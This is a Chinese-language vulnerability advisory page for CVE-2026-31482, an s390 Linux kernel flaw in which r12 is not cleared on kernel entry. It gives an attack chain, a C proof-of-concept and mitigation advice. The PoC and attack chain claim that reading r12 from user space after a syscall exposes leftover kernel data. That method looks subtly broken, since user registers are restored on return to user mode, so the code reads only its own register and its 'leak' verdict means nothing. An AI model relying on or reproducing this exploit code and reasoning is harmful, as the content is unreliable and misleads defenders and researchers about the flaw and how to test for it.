IPBUF安全漏洞报告
English
CVE-2026-31482 CVSS 5.5 中危

CVE-2026-31482 Linux内核s390入口r12寄存器未清零漏洞

披露日期: 2026-04-22
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31482
漏洞类型
信息泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel信息泄露s390本地漏洞寄存器未清理

漏洞概述

Linux内核s390架构在处理内核入口逻辑时存在信息泄露漏洞。该问题源于移除分支预测隔离功能后,未将r12寄存器添加到寄存器清除序列中。这导致在内核入口处,r12寄存器可能保留旧的敏感数据。本地低权限攻击者可利用此漏洞读取寄存器残留值,从而获取内核敏感信息,存在中等安全风险。

技术细节

该漏洞位于Linux内核的s390架构entry.S汇编代码中。在早期的代码版本中,为了支持分支预测隔离,内核入口处理函数会将r12寄存器加载为当前任务指针(%r12,__LC_CURRENT)。然而,提交f33f2d4c7c80移除了TIF_ISOLATE_BP标志及相关宏(BPENTER/BPEXIT),同时移除了加载r12的指令。但在这一变动中,开发人员遗漏了将r12寄存器加入到标准的寄存器擦除序列(即使用xgr指令将寄存器与自身异或以清零)。因此,当程序从用户态进入内核态时,r12寄存器并未被清空,可能仍残留着上一次内核操作的数据。攻击者若能控制本地低权限账户,可以通过触发系统调用进入内核,并利用内联汇编读取r12寄存器的值,进而推测或获取内核空间的敏感数据,破坏系统保密性。

攻击链分析

STEP 1
步骤1
攻击者在目标s390 Linux系统上获得本地低权限用户访问权限。
STEP 2
步骤2
攻击者执行程序并触发系统调用,使CPU从用户态切换到内核态。
STEP 3
步骤3
由于内核入口代码未清除r12寄存器,该寄存器保留了上一次内核上下文的数据。
STEP 4
步骤4
攻击者通过内联汇编读取r12寄存器的值,获取潜在的敏感内核信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-31482: Check r12 register value after syscall // Compile with: gcc -o poc_r12 poc_r12.c // Target: s390 Architecture #include <stdio.h> #include <unistd.h> #include <sys/syscall.h> int main() { unsigned long r12_value; printf("[*] Checking r12 register content after syscall...\n"); // Perform a syscall to trigger kernel entry getpid(); // Inline assembly to read r12 (specific to s390 architecture) asm volatile ( "lgr %0, 12" // Load r12 into output operand : "=r" (r12_value) ); printf("[+] r12 value: 0x%lx\n", r12_value); // If r12 is not zero, it might contain leaked data if (r12_value != 0) { printf("[!] Potential data leakage detected in r12!\n"); } else { printf("[+] r12 is zero (scrubbed).\n"); } return 0; }

影响范围

Linux Kernel (修复补丁前)

防御指南

临时缓解措施
建议系统管理员尽快更新Linux内核至修复版本。若无法立即更新,应限制非受信用户的本地系统访问权限,以降低信息泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表